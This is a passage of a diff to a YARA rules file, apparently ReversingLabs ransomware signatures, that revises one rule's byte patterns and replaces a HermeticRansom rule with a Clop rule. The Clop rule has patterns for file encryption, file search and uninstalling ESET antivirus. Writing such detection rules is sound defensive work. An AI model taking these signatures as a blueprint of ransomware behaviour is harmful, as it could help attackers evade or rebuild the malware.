+            ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? DB 85 ?? ?? ?? ?? 83 C4 ?? DB 3C
+        }
+		$bc_do_extensions_2 = {
+            24 9B 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B C7 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 13 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 17 8D 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B3 ?? EB 02 33 DB 33 C0 5A 59 59 64 89 10 EB 0C E9 ?? ?? ?? ?? 33 DB E8 ?? ??
+            ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB D0 8B C3 5F 5E 5B 8B E5 5D C2
+        }
+		$bc_do_files_1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 8B F0
+            8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B3 ?? 8B 06 E8 ?? ?? ?? ??
+            89 45 ?? 8B 16 8D 85 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B F8 85 FF 0F 85 91 00 00 00 F6 85 ?? ?? ?? ?? ?? 75 73 56 8D B5 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A5
+            5E 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 33 D2 E8 ?? ?? ?? ?? 83 C4 ?? DD 1C 24 9B 8D 45 ?? E8
+            ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 36 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ??
+            ?? ?? 8B 45 ?? 8B 40 ?? 8B 00 8B 08 FF 51 ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 6F FF FF FF 8D 85 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 84 DB 0F 84 B7 00 00 00 8B 16 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D
+        }
+		$bc_do_files_2 = {
+            8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 75 7E F6 85 ?? ?? ?? ?? ?? 74 64 8B 85 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 74 52 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 40 FF 36 FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B
+            C6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8B C6 8B 55 ?? E8 57 FE FF FF 59 84 C0 75 04 33 DB EB 21 8B 55 ?? 42 8B C6
+            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 82 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
+            5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
+        }
+		$bc_main_1 = {
+            55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 F9 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
+            89 20 33 C0 A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ??
+            ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ??
+            ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 8D 45 ?? 8B 0D ?? ?? ?? ??
+            8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 7A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B
+        }
+		$bc_main_2 = {
+            15 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 45 ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? 8B 0D ?? ?? ?? ?? 8B 15
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 11 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B D8 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 80 FB ?? 0F 85 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? B2 ?? A1 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ED A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 83 F8 ?? 0F
+            8E ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 99 F7 3D ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 99 F7 3D
+            ?? ?? ?? ?? 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 48 85 C0 7C ?? 40 89 45 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ??
+        }
+		$bc_main2 = {
+            E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 45 ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D
+            ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($import_key) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($bc_main_1 at pe.entry_point) and $bc_main_2 and $bc_main2 and $bc_bcdedit and $bc_enum_drives_a_z and $bc_do_extensions_1 and $bc_do_extensions_2 and $bc_do_files_1 and $bc_do_files_2
 }
-rule REVERSINGLABS_Win64_Ransomware_Hermeticransom : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Clop : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects HermeticRansom ransomware."
+		description = "Yara rule that detects Clop ransomware."
 		author = "ReversingLabs"
-		id = "6aaf89f4-0cf8-5f0e-b89d-01ac7edd06c0"
-		date = "2022-05-13"
-		modified = "2022-05-13"
+		id = "0ea63119-3773-5404-b332-8e3966fd35df"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.HermeticRansom.yara#L1-L105"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "123d569a9d9b9d855b3baafd6194f102d82a594fd7a2bba073843a8654a317cb"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Clop.yara#L1-L109"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0b63db16a4b1cae27a97d0ff9df692a63f1a11120ffac69c05a5c71fbd224007"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -31822,97 +33626,100 @@ rule REVERSINGLABS_Win64_Ransomware_Hermeticransom : TC_DETECTION MALICIOUS MALW
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "HermeticRansom"
+		tc_detection_name = "Clop"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$drop_ransom_note = {
-            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 3B 41 ??
-            0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 0F 10 04 24 0F 11 44 24 ?? 0F 10 44 24 ?? 0F 11 44 24 ?? 0F 10 44
-            24 ?? 0F 11 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8D BC 24 ?? ?? ??
-            ?? 48 8D 35 ?? ?? ?? ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48
-            89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ??
-            ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 0D ??
-            ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48
-            8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 4C 24 ?? 48 89 8C 24 ?? ??
-            ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 14 24 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
-            8B 44 24 ?? 48 8B 4C 24 ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 14 24 48 89 4C 24 ?? 48 89
-            44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24
-            ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
-            8B 44 24 ?? 48 8B 4C 24 ?? 48 89 0C 24 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C
-            24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ??
-            ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48
-        }
 		$encrypt_files_p1 = {
-            E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 8C 24 ??
-            ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 89 14 24
-            48 89 74 24 ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 C7 44 24 ?? ??
-            ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 54 24 ?? E8
-            ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 9C 24 ?? ?? ?? ?? 48
-            85 DB 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8D
-            05 ?? ?? ?? ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 8B 44 24 ?? 48 89 C1 48 C1 F8 ?? 48
-            C1 E8 ?? 48 01 C8 48 C1 F8 ?? 48 89 84 24 ?? ?? ?? ?? 48 C1 E0 ?? 48 29 C1 48 89 4C
-            24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 04 24 0F 57 C0 0F
-            11 44 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 83 F8 ?? 7E ?? B8 ?? ?? ?? ??
-            48 89 84 24 ?? ?? ?? ?? 31 C9 EB ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ??
-            48 39 C1 0F 8D ?? ?? ?? ?? 48 89 CA 48 C1 E1 ?? 48 FF C2 48 89 D3 48 C1 E2 ?? 48 39
-            D1 0F 87 ?? ?? ?? ?? 48 8B 74 24 ?? 48 39 F2 0F 87 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ??
-            ?? 48 8B 05 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ?? 48 89 3C 24 48 89
+            8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 6A ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ??
+            83 C4 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 BD ??
+            ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 68 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ??
+            ?? 51 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ??
+            ?? 8B 88 ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 8B 82 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 8B
+            91 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8
+            ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ??
+            ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ??
+            68 ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74
+            ?? 68 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
+            74 ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ??
+            ?? ?? 52 FF 15
         }
 		$encrypt_files_p2 = {
-            5C 24 ?? 48 89 44 24 ?? 48 29 CE 48 89 F3 48 F7 DE 48 C1 FE ?? 48 21 CE 48 8B BC 24
-            ?? ?? ?? ?? 48 01 FE 48 89 74 24 ?? 48 29 CA 48 89 54 24 ?? 48 89 5C 24 ?? E8 ?? ??
-            ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 85 DB 0F 85 ??
-            ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C 24 48 89 44 24 ?? 48 89 4C 24 ?? 48 89 54
-            24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 F8 ?? 0F 8D ?? ?? ?? ?? 48 C1 E0 ?? 48 8B
-            4C 24 ?? 48 39 C8 0F 87 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8B
-            35 ?? ?? ?? ?? 48 89 14 24 48 89 5C 24 ?? 48 89 74 24 ?? 48 8B 54 24 ?? 48 29 C2 48
-            89 D3 48 F7 DA 48 C1 FA ?? 48 21 C2 48 8B B4 24 ?? ?? ?? ?? 48 01 F2 48 89 54 24 ??
-            48 29 C1 48 89 4C 24 ?? 48 89 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ??
-            48 8B 54 24 ?? 48 8B 5C 24 ?? 48 85 DB 74 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 8C 24 ??
-            ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48
-            81 C4 ?? ?? ?? ?? C3 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C 24 48 89 44 24 ?? 48 89 4C 24
-            ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B 84 24
+            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 50 8D
+            4D ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 FF
+            15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8D 95 ??
+            ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D 85
+            ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 6A ??
+            68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
+            ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 6A ?? 8B
+            8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? 85 D2 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D
+            ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 6A ?? 6A ?? E8 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50
+            68 ?? ?? ?? ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 6A ?? 6A ?? E8 ?? ??
+            ?? ?? 50 8B 15 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B
+            E5 5D C2
+        }
+		$encrypt_files_p3 = {
+            55 8B EC 83 EC ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B
+            4D ?? 51 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75
+            ?? FF 15 ?? ?? ?? ?? 33 C0 EB ?? 8B 4D ?? 51 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4
+            ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8D 4D ??
+            51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
+            ?? ?? ?? 33 C0 EB ?? 8B 4D ?? 8B 55 ?? 89 11 33 C0 8B E5 5D C3
         }
 		$find_files = {
-            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83
-            EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ??
-            48 89 44 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54
-            24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 89 54
-            24 ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 C7 44 24 ?? ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 94
-            24 ?? ?? ?? ?? 48 89 14 24 48 8B 9C 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 44 24 ?? 48
-            89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 84 24 ??
-            ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 04 24 48 89 4C 24 ?? 48 C7 44 24 ?? ?? ?? ??
-            ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 85 C9 75
-            ?? 48 89 44 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 85 C0 74 ?? 48 8B 44
-            24 ?? 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ??
-            C3 48 8B 44 24 ?? 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ??
-            48 83 C4 ?? C3 48 89 04 24 E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 6C 24 ?? 48
-            83 C4 ?? C3 48 8B 44 24
+            8D 95 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52
+            8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ??
+            8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD
+            ?? ?? ?? ?? ?? 75 ?? EB ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85
+            C0 76 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ?? 68
+            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ??
+            51 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ??
+            ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 E8
+        }
+		$uninstall_eset_av = {
+            8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 86 ?? ?? ?? ?? 8D 4D ?? 51 68 ?? ?? ?? ?? 8D
